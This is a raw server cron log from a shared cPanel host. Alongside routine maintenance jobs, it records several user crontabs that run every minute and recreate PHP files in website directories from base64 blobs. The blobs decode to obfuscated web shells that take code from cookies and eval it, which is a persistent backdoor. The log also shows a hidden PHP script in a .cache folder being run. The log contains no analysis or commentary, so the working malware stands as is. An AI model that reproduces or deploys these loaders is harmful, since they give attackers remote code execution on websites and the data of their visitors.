Mar  2 15:53:02 medusa CROND[26525]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:53:02 medusa CROND[26526]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:53:02 medusa CROND[26527]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:53:02 medusa CROND[26533]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:53:02 medusa CROND[26535]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:53:02 medusa CROND[26539]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:53:02 medusa CROND[26531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:54:01 medusa CROND[12143]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:54:01 medusa CROND[12390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:54:01 medusa CROND[12392]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:54:01 medusa CROND[12394]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:54:01 medusa CROND[12395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:54:01 medusa CROND[12397]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:54:01 medusa CROND[12398]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:54:01 medusa CROND[12399]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:54:01 medusa CROND[12400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:54:01 medusa CROND[12393]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:54:01 medusa CROND[12401]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:54:01 medusa CROND[12404]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:54:01 medusa CROND[12423]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:55:01 medusa CROND[3115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:55:01 medusa CROND[3132]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:55:01 medusa CROND[3315]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:55:01 medusa CROND[3372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:55:01 medusa CROND[3373]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:55:01 medusa CROND[3378]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:55:01 medusa CROND[3468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:55:01 medusa CROND[3470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:55:01 medusa CROND[3481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:55:01 medusa CROND[3469]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:55:01 medusa CROND[3491]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:55:01 medusa CROND[3472]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:55:01 medusa CROND[3496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:55:01 medusa CROND[3498]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:55:01 medusa CROND[3508]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:55:01 medusa CROND[3509]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2V